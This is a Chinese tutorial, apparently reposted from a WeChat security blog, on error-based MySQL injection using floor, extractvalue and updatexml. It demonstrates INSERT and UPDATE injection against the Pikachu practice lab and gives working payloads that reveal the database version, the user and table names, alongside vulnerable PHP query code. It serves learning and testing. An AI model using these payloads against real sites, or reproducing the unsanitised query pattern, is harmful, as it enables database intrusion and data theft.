01
“Insert”注入
👇常用报错函数注入公式👇
No.1:floor
' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#
No.2:extractvalue
' and extractvalue(1,concat(0x7e,(select user()),0x7e))#
' and updatexml(1,concat(0x7e,(select user())),0x7e)#

一个常见注册功能点输入特殊字符,导致报错
查看php源码得到数据查询语句
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')
代入公式No.1
' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '
传入数据库查询语句:
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '']}',md5('{$getdata['test']}'),'{$getdata['']}','{$getdata['']}','{$getdata['']}','{$getdata['add']}')
代码图解解释
1.红色框就是测试payload
2.test就是必填的密码
3.后面分别就是性别、手机、地址,因为没填所以为NULL
尝试查询pikachu数据库里的第一个数据表,payload如下:
' or (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),floor(rand(0)*2))) or '
结果
代入公式No.2
' or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '
结果:sussed!
代入公式No.3
' or updatexml(1,concat(0x7e,(select user())),0x7e) or '
结果:sussed!
02
“update”注入
一个正常的修改个人资料数据包
调试数据包测试注入点,在参数后加入特殊字符报错
查看PHP源代码的核心代码
解释:
1.黄色框是传入数据库查询语句
2.红色箭头指向的四个参数是存入数据库的参数
利用公式No.3注入,因为这个比较简单直白,payload如下:
' and updatexml(1,concat(0x7e,(select user())),0x7e)#
则传入数据库的语句是
update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#']}',phonenum='{$getdata['1']}',address='{$getdata['1']}',email='{$getdata['1']}' where username='{$_SESSION['sqli']['username']}'
因为payload后的#号把后面语句已经注释,所以实际执行语句
update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#
结果:sussed!
01
“insert注入”和“update注入”区别
从“insert注入”和“update注入”的注入语句就可以看出有少许差异,而实质上确实有点区别。“insert注入”的主要功能点在插入表单,所以注入前后都需要用or来连接注入,不能用and连接并且后面语句不能注释,否则传入Mysql数据库的查询语句就会出现语句逻辑出错,无法进行注入。
“update注入”的主要功能点在更新表单,查看PHP源码的传入数据库命令可知,在这种情况下如果存在报错注入,可以直接用and连接注入语句注释后面语句,实际传入数据库的语句并不会出现逻辑错误。

!声明:本文章纯属于个人学习笔记,仅提供学习交流,切勿用于违法犯罪。
本文始发于微信公众号(Khan安全攻防实验室):Mysql报错型手工注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论